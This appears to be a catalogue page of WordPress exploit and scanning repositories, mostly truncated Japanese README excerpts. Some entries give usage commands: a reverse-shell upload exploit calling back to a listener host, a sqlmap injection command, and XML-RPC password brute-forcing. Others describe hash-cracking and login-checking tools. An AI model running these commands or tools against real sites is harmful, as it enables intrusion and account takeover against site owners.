Wordpresscan

Wordpresscan WPScan（Ruby版）の成果に基づいてPythonで書かれたシンプルなWordpressスキャナーです。一部の機能はWPSekuにインスパイアされています。 免責事項 このGitHubの作成者は、誤用やあなたが引き起こす可能性のある損害について一切責任を負いません。 本ソフトウェアは自己責任で使用することに同意したものとします。 インストールと起動 インストール git clone https://github.com/swisskyrepo/Wordpresscan.git cd Wordpresscan Virtualenv virtualenv .ve...

wordpress-exploit-framework

WordPress Exploit Framework A Ruby framework designed to aid in the penetration testing of WordPress systems. Installation To install the latest stable build, run gem install wpxf. After installation, you can launch the WordPress Exploit Framework console by running wpxf. What do I need to run it...

wordpress-exploit-framework

WordPress Exploit Framework WordPress システムのペネトレーションテストを支援するために設計された Ruby フレームワークです。 インストール 最新の安定版をインストールするには、gem install wpxf を実行します。 インストール後、wpxf を実行して WordPress Exploit Framework コンソールを起動できます。 実行に必要なもの WordPress Exploit Framework を実行するには Ruby = 2.4.4 が必要です。 インストール時のトラブルシューティング Debian 系システム WPXF...

CVE-2021-24959

CVE-2021-24959 説明 WP Email Users WordPressプラグイン（バージョン1.7.6まで）は、weuselectedusers1 AJAXアクション内のdatarawパラメータを適切にエスケープしておらず、認証された任意のユーザーがSQLインジェクション攻撃を実行できるようになっています。 CVE CVE-2021-24959 CVSS 8.8 High Publicly Published January 31, 2022 Last Updated January 22, 2024 Researcher Krzysztof Zając - CERT PL...

CVE-2019-8942

CVE-2019-8942 および CVE-2019-8943: WordPress RCE author権限 概要 CVE-2019-8942 は、author権限で WordPress Web サーバーに対して RCE を実行するために、LFI の脆弱性とファイルアップロード機能を組み合わせて悪用する脆弱性です。影響を受ける WordPress のバージョンは 4.9.9 より前と 5.0.1 より前の 5.x です。Post Meta の wpattachedfile の値を任意の文字列（例:...

CVE-2024-7313

Shield Security プラグインの脆弱性エクスプロイト CVE-2024-7313 概要 このリポジトリには、WordPress 用 Shield Security プラグイン（20.0.6 未満のバージョンに影響）の反射型 XSS 脆弱性を悪用するために設計された Python PoC スクリプトが含まれています。この脆弱性（CVE-2024-7313）により、攻撃者はターゲットに合わせた悪意のあるリンクを作成でき、管理者がそのリンクをクリックすると、XSS...

argus-wp-watcher

倫理的なWordPress脆弱性スキャナー — リアルタイムCVE相関、OWASPマッピング、AI駆動解析、同意ベースのテスト。 クイックスタート · ドキュメント · Docker · AI機能 · GitHubでスター 動作例 ライブスキャン · WordPress 6.0.3 · 49件のCVE検出 · 18件の指摘 · 47秒 !Argus HTMLレポート —...

wpCrack

wpCrack v1.0 バージョン 1.0 インストール git clone https://github.com/MrSqar-Ye/wpCrack.git WordPress ハッシュクラッカー 動画 連絡先 : Twitter : @M4DM0E 私のメールに送信...

CVE-2022-1597

CVE-2022-1597 DiscyおよびHimerテーマのコンパニオンとして使用されるこのプラグインは、パスワードリセットフォーム上のパラメータをサニタイズおよびエスケープしないため、反射型クロスサイトスクリプティング攻撃を実行することが可能です。 影響を受けるプラグイン: WPQA history.pushState'', '', '/' Nucleiテンプレート: CVE-2022-1597.yaml 動画POC: https://www.youtube.com/watch?v=E2GRtf6prq8 参照:...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

WordPress_4.9.8_RCE_POC

概要 WordPress RCE（author 権限）の簡単なPoCです。CVE-2019-8942 および CVE-2019-8943 を参照してください。 影響を受けるバージョン WordPress " 3. WPScan で現在のテーマを検出する wpscan -u -et。例: wordpress 4.9.8 のデフォルトでは twentyseventeen 4. ペイロード画像ファイル poc.jpg をアップロードする author アカウントでログインします; ダッシュボードの Media - Add New をクリックして poc.jpg ファイルをアップロードします;...

xmlrpc-bruteforcer

An XMLRPC BruteForcer for Wordpress - Inpired by 1N3@CrowdShield Note - This project is discontinued Usage python3 xmlrcpbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt username python3 xmlrpcbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt userlist.txt in progess Target is...

xmlrpc-bruteforcer

WordPress用XMLRPCブルートフォーサー - （1N3@CrowdShieldによる） 注意 - このプロジェクトは終了しました 使用方法 python3 xmlrcpbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt username python3 xmlrpcbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt userlist.txt in progess Target is vulnerable. --=Target:...

CVE-2023-6063-PoC

CVE-2023-6063 PoC 参照 WP Fastest Cache 1.2.2 で対処された未認証SQLインジェクションの脆弱性 | WPScan プラグイン設定 「WP Fastest Cache」を有効にします。 PoC 「wordpressloggedin」クッキーパラメータに脆弱性があります。 $ python sqlmap.py --dbms=mysql -u "http://127.0.0.1/wp-login.php" --cookie='wordpressloggedin=' --level=2 --schema...

CVE-2026-63030

wp2shell — WordPress コアの事前認証RCE CVE-2026-63030 （バッチルート混乱）+ CVE-2026-60137 （SQLインジェクション） WordPress コアの wp2shell 脆弱性チェーン向けの、依存関係ゼロのエクスプロイトツールキットです。プラグインが不要なデフォルトの WordPress インストールに対し、単一の匿名 HTTP リクエストでリモートコード実行を達成します。 📋 目次 影響を受けるバージョン エクスプロイトの流れ クイックスタート デモ 機能 アップロード方法 出力ファイル Dork / ハンティング 参考文献 免責事項...

CVE-2016-10924

CVE-2016-10924 CVE-2016-10924 - WordPressプラグインebook-download 1.2 におけるディレクトリトラバーサルの脆弱性。 PythonによるPoC + PIDブルートフォース。 使用方法 git clone https://github.com/rvizx/CVE-2016-10924 cd CVE-2016-10924 python pidbrute.py...

exploit_cve-2021-29447

exploitcve-2021-29447 教育目的のみです。 このエクスプロイトは、wordpress 5.6.2 と php8 が動作しているサーバーから任意のファイルを取得するための、非常に便利なツールです。参照: https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 必要なのは、基本的な wp-admin アクセスと、メディアファイルをアップロードできる権限だけです。 このエクスプロイトは、wp-admin を使ってアップロードするための .wav ファイルペイロードを生成します。...

WHOREPRESS

Wordpress ログインチェッカー インストール npm install --global whorepress 使い方 形式が次のようなリストを用意してください。 url:username:pass whorepress list.txt 引数一覧 引数| 説明 ---|--- --admin-only| 管理者権限のみをチェック --debug| デバッグエラー出力 --output| 出力ファイル 作者 Website: https://imtaqin.id Github: @fdciabdul サポートをお願いします このプロジェクトが役に立ったら ⭐️ をお願いします！...

cve-2025-13486-vuln-setup

CVE-2025-13486 脆弱性テスト環境 ACF Extended の RCE 脆弱性をテストするためのワンショット Docker セットアップ。 クイックスタート 1. Download plugins run once ./download-plugins.sh 2. Start environment docker-compose up -d --build 3. Wait 30 seconds for setup, then test nuclei -t CVE-2025-13486.yaml -u http://localhost:8888 手動プラグイン設定...

Ultimate-wp2shell

WP2Shell – 概念実証 WordPress コアの脆弱性 CVE-2026-60137 および CVE-2026-63030 WP2Shell への曝露を検証するための、教育および防御目的の概念実証 PoC です。 概要 このリポジトリは、総称して WP2Shell として知られる WordPress コアの脆弱性に対する、防御的な検出および検証の概念実証 を提供します。 公開されているセキュリティ研究によると、WP2Shell は CVE-2026-60137 と CVE-2026-63030 を含む脆弱性チェーンを指し、特定の条件下では認証なしのリモートコード実行 RCE...